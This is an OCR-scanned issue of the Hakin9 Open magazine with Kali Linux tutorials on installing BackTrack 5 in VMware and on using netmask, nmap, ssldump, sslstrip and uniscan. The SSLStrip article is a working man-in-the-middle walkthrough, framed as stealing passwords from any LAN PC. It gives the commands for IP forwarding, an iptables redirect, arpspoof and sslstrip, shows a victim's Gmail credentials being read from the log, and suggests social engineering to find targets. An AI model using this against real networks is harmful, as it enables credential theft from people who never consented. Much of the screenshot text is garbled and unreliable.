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Dear Readers,

e are happy to present you another issue of Hakin9 Open. This time all of the articles are dedicated

to the most known Linux distribution — Kali Linux. We are sure all of you know that this BackTrack
successor is a great pentesting tool. We hope that our tutorials will help you to gain professional knowledge
which will allow you to dive into deep water of hacking and pentesting.

In this very new issue you will find articles on how to use different tools on Kali Linux. This time you will
deal with Nmap, Netmask, Ssldump, Sslstrip, and Uniscan. You will also learn how to install Backtrack 5
R3 on VMware workstation 8.

We would also like to thank to our friends from PenTest Magazine. We appreciate their help and we would
like to invite you to visit their website pentestmag.com.

We wish you a good reading!
Ewelina Nazarczuk
Hakin9 Magazine Junior Product Manager
and Hakin9 Team
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How to Install Backtrack 5 R3 on VMware
Workstation

by Rrajesh Kumar

With this article you will get knowledge on how to instal BackTrack 5. But this time
installation will be launched on Virtual Machine (VMWare).

Step 1.

Go to File and click on New Virtual Machine (Figure 1).

Ubuntu - Vilware Wol

gdit View VM Tabs Help

T New Virtual Machine... Ctrl+N
: \ 41 Ubuntu ]
tl MNew Window

Close Tab Ctrl+W
[3- Connectto Server... Ctbel | ettings
&ﬂ Virtualize a Physical Machine...
Export to OVF...
£ Map Virtual Disks... 168
Exit 3 i

erHEEraTEkR (SCS) 10 GB
5 CO/DVD (IDE) Using drive G:

2 [ o P Bk doke ok

Figure 1. Creating a new virtual machine

Step 2.

Select Typical and click Next (Figure 2).

m

MNew Virtual Machine Wizard |

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

@) Typical {recommended)
Create a Workstation 8.0 virtual machine

in a few easy steps.
(7) Custom (advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,

VYMware® virtual disk type and compatibility with
n older YMware products.
Workstation 8 Click Here

N\

< 5§-:ir. [ Mext > ] [ Cancel ]

e

Figure 2. Selecting the type of configuration
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Step 3.

Select DVD drive or ISO and click Next (Figure 3).

Guesl Operaling SysLemn InsLallalion
A& virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

View LUM L Tabs i Help ([ Wre it een If you have Backtrack OS
= - = = : / On Disk then select this
(") Installer disc:

x
zre to search - s DVD RW Drive (F2)
- o= = If you have 150 file on your Hard
o cr . -

E Disk then click on browser
Ibuntu

(@) Installer discimage file (iso):
H:\ew Software 1\Fedora-18-x85_64-Live-Desktop.i

Vindows XP Professio

z=d VMsu .

SR £, Windows 7 A1l In One Pre-activated 5/4/201210:19 AM  File folder
|Z5] Documents 4 7 3 i
; o = . Windows 7 Ultimate 5/4/201210:21 AM File folder
aginet || Windows8 Pro 9/11/2013 1049 AM  File folder
|5l Pictures = s T
| Q B I5K3-KDE-32 \ 10/9/2012 3:42 AM Windip File 3,24
B8 Videos .- : s ; r s
:g Matriux-Ec-Centrig-v2.49b 10/9/20126:30 AM  WinZip File 288
I .3 Ubuntu 1110 Deckidp 236 12/1/2011 2:20 AM WinZip File 7
/M Computer : i ] g ; : 5
] @ Windows XP Professioal SP3 November... 11/23/2011 2226 PM  WinZip File 6
&, Local Disk (C) sl :
 Local Disk {U3) In th.lg wi ndou{ First Select BTS
= Iso file then click on Open N
ca Local Disk (E:) - E ] N | k
File name: BT5R3-KDE-32 \CD- ROM images (*.isa) - l
]‘ Open I [ Cancel ]
Figure 3. Selecting the information source
Step 4.
Click on Next (Figure 4).
New Virtual Machine Wizard | = |

Guest Operating System Installation

& virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:
() Installer disc:

i DVD RW Drive {F:)

(@ Installer discimage file {jso):

'IZ.J:'in.Ra.lj:l"n,Ciperat.iﬁg Systemsi;EiTEHRS-IﬂjE-B.Z..is.o -
L\'\ Could not detect which operating system is in this disc image.
‘You will need to specify which operating system will be installed.

(71 I will install the operating system later,
The virtual machine will be created with a blank hard disk.

[ < Back ” Mext > ” Cancel ]

[

Figure 4. Continuing installation
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Step 5.

Select Linux, choose your OS version (Ubuntu), and click Next (Figure 5).

Mew Virtual Machine Wizard [ 2

Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system

(7 Microsoft Windows
@ Linux ..-::::
() Novell NetWare
") 5un Solaris
() VMware ESX
() Other

Versian

Ubuntu -

l < Back H Mext = H Cancel I

. s

Figure 5. Specifying the OS that will be installed

Step 6.

You can change your virtual machine name and choose where do you want to install your OS (Figure 6).

r 1 1

Mew Virtual Machine Wizard 2

Mame the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:
Ubuntu

Location:

orback

The default location can be changed at Edit = Preference:

If you want to change
your location click on
browser

Click Here

l < Back H r‘vlext:‘:;I ][ Cancel

[ A

Figure 6. Setting the name and installation path
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Step 7.

Change your OS installation disk size (it should be more than 20 GB) and click Next (Figure 7).

Mew Virtuzl Machine Wizard 1k EE =

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as you
add applications, files, and data to your virtual machine.

Masimum disk size (GE): 11,0 e 1. You can resize your
disk

Recommended size for Ubuntu: 20 GB

() Store virtual disk as a single file
(@) Split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

2. Click Next

Y
[ < Back |[ Next = ][ Cancel

Figure 7. Changing installation disk size

Step 8.
Click on Finish (Figure 8).

[ = |
Mew Virtual Machine Wizard ) g -

Ready to Create Virtual Machine
Click Finish to create the virtual machine and start installing Ubuntu,

The virtual machine will be created with the following settings:

Mame: Ubuntu =
Location: D:\vback I
Yersion: Workstation 8.0

m

Operating Syst.. Ubuntu

Hard Disk: 11 GE, Split
Mermony: 1024 MEB -
1 | 1 | 4
[ P VR B ] 1. If you W-Ell.lt to customize
Lhardware clickhere

[Z] Pawer on this virtual machine after creation 2. Click finish

[ < Back H Finish 'IH Cancel ]

Figure 8. Ready to create the VM
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Step 9.

Select Text Mode and hit Enter (Figure 9).
BackTrack Live CD

BackTrack Stealth — Ho Hetworking enabled

BackTrack Forensics - No Drive or—swap Hount §select this and press enter

BackTrack noDRM — No DRH Dr i UEKS ——
BackTrack Debug - Safe Hode
BackTrack Memtest — Run memtest

Hard Drive Boot - boot the first hard digk

<< back | track (5

Press [Tabl to edit options

Figure 9. Boot mode select

Step 10.

After booting your ISO, a screen similar to Figure 10 will show. Type startx and hit Enter.

[ 2.577376]1 =sd 2:0:0:0: [=sdal Assuming drive cache: write through

[ £.581697] =d Z2:0:0:0: [=sdal Attached SCSI disk

[ £.627458]1 hub 2-Z2:1.0: USB hub found

[ 2.6282031 hub 2-2:1.0: 7 ports detected

[ 2.6439851 input: UMware UMware Uirtual USB Mouse as rsdevices-pci0000:00.,00
#2-1,2-1:1.0/inputsinput?

[ 2.6497131 generic—usb 0003:0EO0F :0003.0001: input,hidraw®: USB HID v1.10 Mo
SB Mousel on usb-0000:02:00.0-1/inputd

[ Z.6060541 input: VMware UMware Virtual USB Mouse as ~sdevices-pci0ooo:00.-00
#Z-1/2-1:1.1/input/input3

[ £.662611]1 generic—usb 0003 :0E0F :0003.000Z: input,hidrawl: USB HID v1.10 Mo
5B Mousel on usb-0000:02:00.0-1/inputl

[ Z2.667937]1 usbcore: registered new interface driver usbhid

[ Z.668054]1 usbhid: USB HID core driver

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU-Linux

System information disabled due to load higher than 1.0

# startx_ "

Figure 10. Screen visible after booting.

Step 11.

Loading (Figure 11).

loading. ..

Figure 11. Loading

11
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Step 12.

Right click on the Install BackTrack icon and click Open (Figure 12).

Install
BackT g Open

Figure 12. Opening installation

Step 13.

Click Forward (Figure 13).

Welcome

Figure 13. Step 1 — starting installation

12
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Step 14.

Click Forward (Figure 14).

Where are you?

v Time Zone:

:Iilllr

Figure 14. Choosing your location

Step 15.

Click Forward (Figure 15).

Keyboard layout

Figure 15. Keyboard layout selection

13
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Step 16.

Here, we are choosing Erase and use entire disk because we have created a separate partition for our BT OS
installation. This is good for installing OS on VMware. Click on Forward (Figure 16).

Install

Prepare disk space

y partitions manually (
[ ) e e et O ] ] ] ey ] ] e et ) ] s o R ot ] /s | s ] e | [

ck Live

Figure 16. Preparing disk space

Step 17.

Click on Install (Figure 17).

Ready to install

erating system will now be installed with the follc

-

nced...

= |nstall

Figure 17. Ready to install
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Step 18.

Installation starts (Figure 18).

Figure 18. Installation starts

Step 19.

Installation completed. Click on Restart Now (Figure 19).
Installation Complete
Installation has finishec

Ubuntu now. but until

U make ar

Continue Testing

Figure 19. Installation complete

Step 20.

Now login with root and hit Enter. Our password will be toor (Figure 20).

0-1/input®

8430781 s=da: sdal sdaZ < sdad >

.8533511 =d 2:0:0:0: [=sdal Cache data unavailable
.859335]1 =d 2:0:0:0: [=dal Assuming drive cache: write th
.8628581 =sd 2:0:0:0: [sdal Attached SCSI disk

8766631 input: UMware UMware Virtuwal USBE Mouse as ~devic

.8951991 generic-ush O003:0EOF:0003.0002: input,hidrawl:
0-1/inputl
.9074691 usb

BackTrack 5 R3 - 32 Bit bt tiyl
bt login: LOG: database system is ready to accept connections

BackTrack 5 R3 - 32 Bit bt ttyl
bt login: root <:
Password :

Figure 20. Setting login and password
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Step 21.

Write startx and hit Enter (Figure 21).

BackTrack 5 R3 - 32 Bit bt ttyl

bt login: root

Password:

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 E3ST 2012 i6H

Jy=ztem information as of Sat Jun 1 Z20:11:11 IST 20

Jystem load: ©0.42 Processes:

Usage of ~: 57.5% of 19.06GB Users logged in:
Menory usage: 2 IP address for etho
Swap usage: 0

Graph this data and manage this system at hittps:- -1

# startx e m— |

Figure 21. startx

Step 22.

Now, right click and delete the installation icon form your desktop (Figure 22).

Right click on icon and
delete it you have done

enjoy BT5 :)

Figure 22. Deleting the installation icon
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How to Use Netmask in Kali Linux

by Rrajesh Kumar

Netmask is another simple tool which does one thing and that is, makes a ICMP netmask
request. By determining the netmasks of various computers on a network, you can better map
your subnet structure (Wwww.question-defense.com).

Step 1. How to open
A. GUI Method (Figure 1).

Applications —Kali Linux — Information Gathering — Route Analysis — netmask

HIIII ﬁ- IF"‘ T 1 ;W

Q DNs Analysis
s 3 e
\ Top 10:Security Tools Q IDS/IPS Identification

B Q Live Host Identification

ty Analysis > 0\ Metwork Scanners
:gﬁ Web Applications 3 0\ 05 Fingerprinting
_/" Password Attacks b (k OSINT Analysic
| " wireless Attacks H Route Analysis

i' Accessories I ~ 3 Expluitation Tools > & service Finger printing > \ dnmap-client
#[:] Clectronics > a Sniffing/Spoofing > 0\ SMB Analysis Click Here b \ dnmap-server
‘iﬁ Graphics > ﬁ Maintaining Access > Ck SMTP Analysis > \ intrace
'@ Internet > % Rewverse Engincering > Ck SNMP Analysis

L ‘:,. Stress lesting 2 0\ 55L Analysis

kali Linu:

ii Office > 1:'.. Hardware Hacking 2 (k Telephony Analysis
,_( Programming > f?? Forensics > 0\ Traffic Analysis
Sound & Video > [E] Reporting Tools » QO VolP Analysis

MR System Tools t (ﬂb.ﬂ- System Services » Q VPN Analysis

Figure 1. Opening netmask in the GUI

B. Open the terminal and type netmask -n. This command will open netmask with help options (Figure 2).

Figure 2. Opening netmask in the terminal
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Step 2.

-v — this command is used to see the netmask version which is installed in your system (Figure 3).

Syntax — netmask -v

File Edit View Search Terminal Help
~# netmask -v

7

Figure 3. Checking the netmask version

Step 3.

This is the default search for a domain or IP (Figure 4).
Syntax — netmask domain/IP
Example — netmask google.com

Example — netmask 192.168.237.129

File Edit WView Search Terminal Help
:~# netmask c

74.125.236.73/32

# netmask 192.168.237.129

168.237.

Figure 4. Search for domain or IP

Step 4.

Output address/netmask pairs (Figure 5).
Syntax — netmask -s domain/TP

Example — netmask -s google.com

Example — netmask -s 192.168.237.129

File Edit View Search Terminal Help

Figure 5. Output address/netmask pairs

19



Kali Linux

Step 5.

Output CIDR format address lists (Figure 6).
Syntax — netmask -c domain/IP

Example — netmask -c google.com

Example — netmask ¢ 192.168.237.129
File Edit WView Search Terminal Help

74.125.236

192.168

Figure 6. Output CIDR format address lists

Step 6.

Output Cisco style address lists (Figure 7).
Syntax — netmask -i domain/IP
Example — netmask -i google.com
Example — netmask -1 192.168.237.129
File Edit View Search Terminal Help
| -1 google.com

74,125 .236.67

# netmask -1 1892.168.237.129

Figure 7. Output Cisco style address lists

Step 7.

Output IP address ranges (Figure 8).

Syntax — netmask -r domain/IP
Example — netmask -r google.com

Example — netmask -r 192.168.237.129

20
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root@MrQuiety: ~

File Edit View Search Terminal Help

Figure 8. Output IP address ranges

File Edit View Search Terminal Help
:~# netmask

2 16R 230 179

File Edit View Search Terminal Help

Figure 10. Output address/netmask pairs in octal

File Edit View Search Terminal Help

11111111 11111111 11111111 11111111

1107 O o 5 1 R S o 6 8

Figure 11. Output address/netmask pairs in binary
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How to Use Nmap in Kali Linux

by Rrajesh Kumar

Nmap (“Network Mapper”) is an open source tool for network exploration and security
auditing. It was designed to rapidly scan large networks, although it works fine against single
hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the
network, what services (application name and version) those hosts are offering, what operating
systems (and OS versions) they are running, what type of packet filters/firewalls are in use,

and dozens of other characteristics. While Nmap is commonly used for security audits, many
systems and network administrators find it useful for routine tasks such as network inventory,
managing service upgrade schedules, and monitoring host or service uptime (nmap.org).

Step 1. How to open nmap
A. GUI method (Figure 1).

Applications — Information Gathering — DNS Analysis — nmap

F b
m- -] g !_ | DNS Analysis 4 \ dnsdictd
R TopL0:Security Toals 1 Q. IDS/IPS Identification 3 \ dnsenum
Infermation Gathering » Q. Live Host Identihication 2 \ dnsmap
'h Vulnerability Analysic > Q. MNetwork Scanners 3 \ dnsraecon
"3} Web Applications > Q. Os Fingerprinting 3 \ dnsrevanumb
/" Password Attacks > Q. O5INT Analysis 3 \ dnstracer
o Wireless Attacks » Q Route Analysis b) \ dnswalk
l Accessones > ﬂ Exploitation lools H Q Service hingerprinting 3 \flerce
%t:l Electronics » (ﬁ Sniffing/Spoofing > Q, SMB Analysis \ maltego

‘2& Graphics ] ﬁ Maintaining Access » Q SMTP Analysis nmap

@ Internat H g Reverse Engineering ] Q SNMP Analysis 2 \ urlerazy
leali Linux H ‘3::‘ Stress Testing » Q S5L Analysis 2 ‘. zenmap

o a — -~

Figure 1. Opening nmap in the GUI

B. Open the terminal, type nmap, and hit Enter (Figure 2).

File Edit View Search Terminal Help

{target s

aul
1 DNS

Figure 2. Opening nmap in the terminal
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Step 2.

Scan a single IP address when the firewall is OFF/ON on the target PC (Figure 3).
Syntax — nmap 1P address/hostname

Example — nmap 192.168.237.129

Example — nmap google.com

File Edit View Search Terminal Help

) at 201 CAE

Target PC's firewall Off

host up)

Figure 3. Scanning a single IP address with the firewall ON/OFF

Step 3.

Boost up your nmap scan — using this command you can decrease scan time (Figure 4).
Syntax — nmap —-F IP address

Example — nmap -F 192.168.237.129

|FiLe Edit View Search Terminal Help
=i nmap

Normal Scan

Fast Scan

are)

host up) scanned in 2 _2¢ conads

Figure 4. Decreasing scan time
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Step 4.

Scan multiple IP addresses or subnet.
A. Scan a range of IP addresses (Figure 5).
Syntax — nmap IP address range

Example — nmap 192.168.237.1-130

File Edit Wiew Search Terminal Help

1 are filt

(VMware)

Figure 5. Scanning a range of IPs
B. Scan a range of IP addresses using a wildcard (Figure 6).

Example — nmap 192.168.237.%

| File Edit WView Search Terminal Help
i~# nmap

Figure 6. Scanning a range of IPs using wildcard
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C. Scan an entire subnet (Figure 7).

Example — nmap 192.168.237.0/24

File Edit View Search Terminal Help

Figure 7. Scanning entire subnet

Step 5.

This command is used to scan OS and version detection (Figure 8).

Example — nmap -0 192.168.237.129

File Edit View Search Terminal Help

201 =18 21 48051

7 I

XP Professional SP2 or Windows

Figure 8. Scanning OS and itsversion
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Step 6.
Scan all TCP ports in the target IP (Figure 9).

Example — nmap -sT 192.168.237.129

|File Edit View Search Terminal Help
~# nmap -sT 1 5]

(VMwa

(1 host up) scanned in 1.70

Figure 9. Scanning all TCP ports in target IP

Step 7.

Scan a firewall for security weakness.

A. Null scan — use TCP null scan to fool a firewall to generate a response (Figure 10).
Example — nmap -sn 192.168.237.129

B. Fin scan — use TCP Fin scan to check the firewall (Figure 10).

Example — nmap -sF 192.168.237.129

C. Use TCP Xmas scan to check firewall (Figure 10).

Example = nmap -sx 192.168.237.129

|File Edit WView Search Terminal Help
1~# nmap

anned in 1.87

Figure 10. Null, TCP Fin, and TCP Xmas scans

26



Kali Linux

Step 8.

UDP scan — scan a host for UDP services. This scan is used to view open UDP ports (Figure 11).

Example — nmap -su 192.168.237.129

Nmap done:

Figure 11. UDP scan

Step 9.

Scan for IP protocol — this type of scan allows you to determine which IP protocols (TCP, ICMP, IGMP, etc.)
are supported by target machines (Figure 12).

Example — nmap -s0 192.168.237.129

File Edit View Search Terminal Help
i~# nmap -s0 1

@13-12-01 18:18 IST

:BE:E3:F3 [VMware)

iINmap done: 1 IP address (1 host up) scanned in 2.41
~#

Figure 12. Scan for IP protocol

Step 10.

Detect remote services (server/domain) version numbers (Figure 13).

Example — nmap -sv 192.168.237.129

27
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:~# nmap -sV

STATE S
open
open

en

ion performed. Please report any incorrect results at http

(1 host up) scanned in 10.0 onds

Figure 13. Detecting remote services

Step 11.

Find out the most commonly used TCP ports using TCP SYN Scan.
A. Stealthy scan (Figure 14).

Example — nmap -ss 192.168.237.129

(VMware)

. (1 host up) scanned in 3.61

Figure 14. Stealthy TCP SYN scan
B. Find out the most commonly used TCP ports using TCP connect scan (Figure 15).

Example — nmap -sT 192.168.237.129

~# nmap -s

Figure 15. TCP connect scan
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C. Find out the most commonly used TCP ports using TCP ACK scan (Figure 16).

Example — nmap -sa 192.168.237.129

File Edit View Search Terminal Help
~# nmap -sA 1 5]

5Mmap done: 1 IP address (1 host up) scanned in 3
~#

Figure 16. TCP ACK scan
D. Find out the most commonly used TCP ports using TCP Window scan (Figure 17).

Example — nmap -sw 192.168.237.129

File Edit View Search Terminal Help
~# nmap -sW .16

1 IP ad
i~

Figure 17. TCP Window scan
E. Find out the most commonly used TCP ports using TCP Maimon scan (Figure 18).

Example — nmap - sM 192.168.237.129

File Edit View Search Terminal Help
~# nmap -sM

Figure 18. TCP Maimon scan

Step 12.

List scan — this command is used to list the targets to scan (Figure 19).
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Example — nmap -s1 192.168.237.129

File Edit WView Search Terminal Help
~# nmap -sL 192.168.

http

Figure 19. List scan

Step 13.

Host discovery or ping scan — scan a network and find out which servers and devices are up and running
(Figure 20).

Example — nmap -sp 192.168.237.0/24

File Edit View Search Terminal Help
~# nmap -sP 192.168.

(VMware)
.128

Figure 20. Ping scan

Step 14.

Scan a host when protected by the firewall (Figure 21).
Example — nmap -pn 192.168.237.1

File Edit View Search Terminal Help

1 IP addr 5 (1 host up) scanned in 2
=

Figure 21. Scanning a host while protected by firewall
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How to Use Ssldump in Kali Linux

by Rrajesh Kumar

Ssldump is an SSL/TLS network protocol analyzer. It identifies TCP connections on the
chosen network interface and attempts to interpret them as SSL/TLS traffic. When it identifies
SSL/TLS traffic, it decodes the records and displays them in a textual form to stdout. If
provided with the appropriate keying material, it will also decrypt the connections and
display the application data traffic (www.rtfm.com).

Step 1. How to open
A. GUI Method (Figure 1).

Applications —Kali Linux — Information Gathering — SSL Analysis — ssldump

Il W T

‘R lop 10 Securnity Tools

Q. DNS Analysis
>
Q 10S/1PS Identification

Q Live Host Identification

‘h Vulnerahility Analysis > Q,, Network Scanners
;,FQ Weh Applications > Q. 0S5 Fingerprinting
-/* Password Attacks » Q, OSINT Analysis

o’ Wireless Attacks » Qg Route Analysis

l' Accassories E 3 Exploitation Tools > 0\ Service Fingerprinting .\ sslcaudit

#ﬁ] Electronics b {:: Sniffing/Spoofing > Q SMB Analysis

,ﬁ Graphics > ﬁ Maintaining Access > Q SMTP Analysis

@ Internet > % Reverse Engincering > Q SNMP Analysis > \ sslscan
kali Linux 2 '::{- Stress Testing S5L Analysis > \ sslsniff

w Office > L:,,l Hardware Hacking » Q\ Telephony Analysis > R sslstrip

" Programming » 1{“}‘ Forensics » Q‘ Traffic Analysis 4 ‘b sslyze
m Sound & Video » r= Reporting Tools » 0\ VolIP Analysis 4 i stunnel4
_ Syslem Tools > ﬁ'ﬂ- Syslem Services > 0\ VPN Analysis > i Lssled

)

Applications Places E :\‘ Sun Dec 1, 7:39 PM

Figure 1. Opening ssldump in the GUI

B. Open the terminal and type ssidump -n. This command will open ssldump with help options (Figure 2).

root@MrQuiety: ~

File Edit View Search Terminal Help

Figure 2. Opening ssldump in the terminal

32



Kali Linux

Step 2.

This command is used to show the traffic (Figure 3).
Syntax— ssldump -i interface port no

Example— ssldump -i ethO port 80

File ECdit View History Bookmarks Tools [Help

| T Google |52 root@MrQuicty: ~

‘* | @ https:iveww google.co.in/?gws_i File Cdit View Search Terminal Help

2. Opaning www.googla.com

1. First of all run this command on terminal
LN then opan www.googla.com
FTN
FIN

raanmla Faoin AfaroToE e

Figure 3. Showing the traffic

Step 3.

This command displays the application data traffic. This usually means decrypting it, but when -« is used,
ssldump will also decode application data traffic before the SSL session initiates. This allows you to see
HTTPS CONNECT behavior as well as SMTP STARTTLS. As a side effect, since ssldump can’t tell
whether plaintext is traffic before the initiation of an SSL connection or just a regular TCP connection, this
allows you to use ssldump to sniff any TCP connection.

Ssldump will automatically detect ASCII data and display it directly on the screen. Non-ASCII data is
displayed as hex dumps (Figure 4 & 5).

=
| ) Google | root@MrQuiety: ~
[i vw.google.co.in | File Edit View Search Terminal Hel
. HIEAH 3L LRV S R ) | P
3 dump -d -i ethC
192.168. : )) =-: ; .net (60)

Figure 4. Application data traffic
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Figure 5. Non-ASCII application data traffic (hex dumps)

Step 4.

Print absolute timestamps instead of relative timestamps (Figure 6).

Fle EdL View Hislory Bookmarks Tools Help 7T 777" N

JBGULngE root@MrQuiety: ~ =

lﬂ https://www.google.co.n File Edit View Search Terminal Help

-> ni-in-f94.1e net (80)
FIN
TCP I'IN

Figure 6. Absolute timestamps

Step 5.

The full SSL packet header. Ssldump may print record-specific data on the rest of the line. For handshake
records, it prints the handshake message. Thus, this record is a certificate message. Ssldump chooses certain
record types for further decoding. These are the ones that have proven to be most useful for debugging:

clientnello — version, offered cipher suites, session ID (Figure 7).

serverHello — Version, session_id, chosen cipher suite, compression method (Figure 8).
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root@MrQuiety: ~
File Edit View History Bookma 2

File Edit View Search Terminal Help
J ‘}Welcome to Facebook - Log In, ... -

[ @ httpsi/fwww facebook.com

Facebook helps you connge
people in your life.

=
-
0 2
. N
E ]
(] L d
__) =, i iy
e
-

Figure 7. ClientHello

rooti@mMrituiety: ~

File Edit VWiew History Bookma
1FiLe Edit View Search Terminal Help

J “VWelcome to Facebook - Log In, ...

I B https:/fwww facebook.com

valle
WITH 3DES
N meth
MULL
Handshake

Facebook helps you conng
people in your life.

= Unknown walue BxcB@ll
a '} 2 =Tho NULL
N — a3 Handshake
f I -865] ] S=C Handshake
ey -
" = Handshake

Handshake

Chan

Figure 8. ServerHello
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How to Use SSLStrip in Kali Linux

by Rrajesh Kumar

In this tutorial, we will use sslstrip for stealing passwords from any PC which is connected
to LAN. SSLStrip basically hijacks HTTP traffic. Nowadays, its a little difficult to steal the

passwords from some websites.

Step 1. How to open
A. GUI Method (Figure 1).

Applications —Kali Linux — Information Gathering — SSL Analysis — sslstrip

B Q DNS Analysis >
>
0\ IDS/IPS |dentification >

\ Top 10 Security Tools

Information Gathering > 0\ Live Host Identification b

’h Vulnerability Analysis b 0., Metwork Scannars b
‘ot Web Applications > C?\ 0S5 Fingerprinting b
f Password Attacks > C)\ OSINT Analysis b

4’ Wireless Attacks » Q, Route Analysis »

&
> \ sslcaudit

" Accessories 1~ Exploitation Tools 2 Ck Service Fingerprinting

+E] Electronics ’ ﬁ Sniffing/Spoofing 2 0\ SMB Analysis Click Here » \ ssldump
,';‘g" Graphics > E MainLaining Access » 0\ SMTP Analysis > R sslh
@ Internet > % Reverse Cngineering ? 0\ SNMP Analysis \ sslscan

>
abe LY

kali Linux i %+ Stress Testing > SSL Analysis

.\ ssksniff

w Office 2 !;l Hardware Hacking 2 Q., Telephony Analysis 2

4 Programming > ‘k"‘ Forensics 3 0\ Traffic Amalysis > \. sslyze
ﬁ Sound & Viden > [E Reporting Tools > Q VaolP Analysis b I\\. stunnel4
., System lools ? ﬁ.ﬂ' System Services 2 0\ VPN Analysis ? \ tissled

Applications Places IZ] = X Mon Dec 2, 9:08 PM

Figure 1. Opening SSLStrip in the GUI

B. Open the terminal and type ssistrip -h. This command will open SSLStrip with help options (Figure 2).

root@MrQuiety: ~ - | O

File Edit WView Search Terminal Help

--write==filename=

Figure 2. Opening SSLStrip in the terminal
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Before starting SSLStrip, we need to do some other things for trapping our target:
+ [P forwarding

+ [P table for redirect 80 to 8080

* Finding gateway IP

* Finding target IP

* Arpspoof

Step 2.

This command is used to enable IP forwarding (Figure 3).

SyntaX—echo ‘1’ > /proc/sys/net/ipv4/ip forward

sys/net/ipv4/ip forward

IP forwarding by this
command

Figure 3. IP forwarding

Step 3.

This command is used to redirect requests from port 80 to port 8080 to ensure our outgoing connections
(from SSLStrip) get routed to the proper port (Figure 4).

Syl’ltaX—iptables -t nat —-A PREROUTING -p tcp -destination-port 80 -j REDIRECT -to-port 8080

| :~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j R
\[EDIRECT --to-port BOBO

- |

Figure 4. Redirecting requests from port 80 to port 8080

Step 4.

This command is used to find the gateway IP (Figure 5).

Syntax — netstat -nr

~# netstat -nr

Findout Gateway IP

Figure 5. Finding gateway IP
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Step 5.

This is our target OS (Windows XP). By using ipconfig, we got the target IP. I know you are thinking if
I want to trap an unknown LAN PC, then how will we find out the IP address. Well, it’s not that difficult,
some social engineering can do your job. Come to the point on SSLStrip. Note the target IP (Figure 6).

AWINDOWS\system32\cmd.exe

Microszoft Windows XP [Uersion 5.1.26881]
C(C» Copyright 1985-2001 HMicrosoft GCorp. ThhisTargEtOS

C:“Documents and Settings“Mbtscan Testlripconfig (Windows XFP)

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix localdomain

IR Addpess.: " == 58 SR 172.168.237.129
subnet Mask . - . . - . . . . . 255 255 450 . H
Default Gateway - . . . . . . . 192.168.237_2

C:=“Documents and Settings“Mbtscan Testlr_

We need Target
machine IP Address

Figure 6. Getting target IP

Step 6.

This command is used to redirect all network HTTP traffic through our computer using ARPSpoof (don’t
forget to enable IP forwarding before this). See Figure 7.

SyTHaX,—>arpspoof -i interface -t target IP -r gateway IP

szanlple——arpspoof -i ethO -t 192.168.237.129 —-r 192.168.237.2

192.168 Zadc-at 0

@806 42: ‘arp reply 192.168.237.129 is-at O

0866 42: arp reply 192.168.2

0806 42. arp reply 192.168.237.129 is-at 0@

Kali interface Target IP Gategay IP

Figure 7. Redirecting all network HTTP traffic through our computer

Step 7.

Now, we need to open a new terminal because this terminal is running ARPSpoof and we can’t stop it right
now (Figure 8).
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File Edit Wiew Search Terminal Help -

Open Terminal
Open Tab

arp reply 192.168.

Mew Profile...
arp reply 192.168

: arp reply 192.168.

Close Window

y 192.168.

Figure 8. Opening new terminal

Step 8.

In the new terminal, use the following command. This command is used for listening on ports. -1 tells the
system to listen on specified port (Figure 9).

Syntax — ssistrip -1 8080

2 running. ..

Figure 9. Listening on port 8080

Step 9.

Now, go to the target OS, open www.gmail.com, enter your username and password, then click on Sign in.
It’s the same as we are using it for checking our Gmail (Figure 10).

Acess | €] sl faccounts. googl.comiServicel oginservice=mallpassve=truetem—lseicontinua=htp el google comjifse | € 60 Lok
Sign in to continue to Gmail A
This is our target PC
here we sign in gmail
Email
Enter ID and Password ﬂﬁi’hijieﬂ;@g}mail_com 1
and Click on Sign in
Password
sssesscssse
[ Stay signed in
Meed help? ¥

Figure 10. Logging on Gmail at the target PC
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Step 10.

After clicking Sign in on the target OS, go to the attacker PC (Kali Linux). You will see that SSLStrip has
captured some data. After finishing the capture, press Ctrl + C for stopping SSLStrip. Data is automatically
saved in a file named ssistrip.10g (Figures 11 & 12).

root@MrQuiety: ~ - | A3

File Edit View Search Terminal Help
- bl |

, Line B84, in cal
in cal

I

, Line 1899, in

share, lstrip erCo on.py", line 154, in shu
lent.finish(]
yth /dist-p ges/twisted, AitEpLpy e

ts
on

Figure 12. Data captured by SSLStrip (part 2)

Step 11.

Use the 1s command so you can see the saved file as ssistrip.10g (Figure 13).
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File Edit View Search Terminal Help

Figure 13. Is command

Step 12.

Use cat to open your ssistrip.log file and watch carefully. There are your victim’s e-mail ID and password
as shown in Figure 14.

Syntax — cat sslstrip.log

n[,_ Ju /
IRBwWYCOLEKDIomXD

imj 7mGr

EI7NCTZHB

789@%signIn=Sign+in&r|

Figure 14. Victim e-mail and password captured
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How to Use Uniscan-gui /Uniscan in Kali
Linux

by Rrajesh Kumar

Uniscan is a simple Remote File Include, Local File Include, and Remote Command
Execution vulnerability scanner.

Step 1. How to open
A. GUI Method (Figure 1).

Applications— Kali Linux — Web Applications — Web Vulnerability Scanners — uniscan-gui

\ joomscan
N nikto

\ padbuster
\ proxystrike
\ skipfish
N
»

‘. Top 10 Security Tools

0\ Information Gathering >

rh Vulnerability Analysis

Web Applications 4 ":ﬁ CMS |dentification sqlmap

o Password Attacks > ‘oty Database Cxploitation uniscan-gui
d’ Wireless Attacks > oty |DS/IPS Identification > \ vega
" Accessones ﬂ Exploitation lools > ‘;&ﬂ Web Application Fuzzers » \ wiat
#E] Elactronics » {ﬁ Sniffing/Spoofing » ?g Web Application Proxies ? \ wapiti
tﬁ Gr aphic s > ﬁ Maintaining Access > ":% Webh Crawlers » \ welhscarah
@ Internet > % Reverse Cngineering Web Vulnerability ers ’ \ webshag-gui

\ websploit

kali Linux > 1\:5 Stress Testing 3

w Oftice ? ;l Hardware Hacking ? \ whatweab
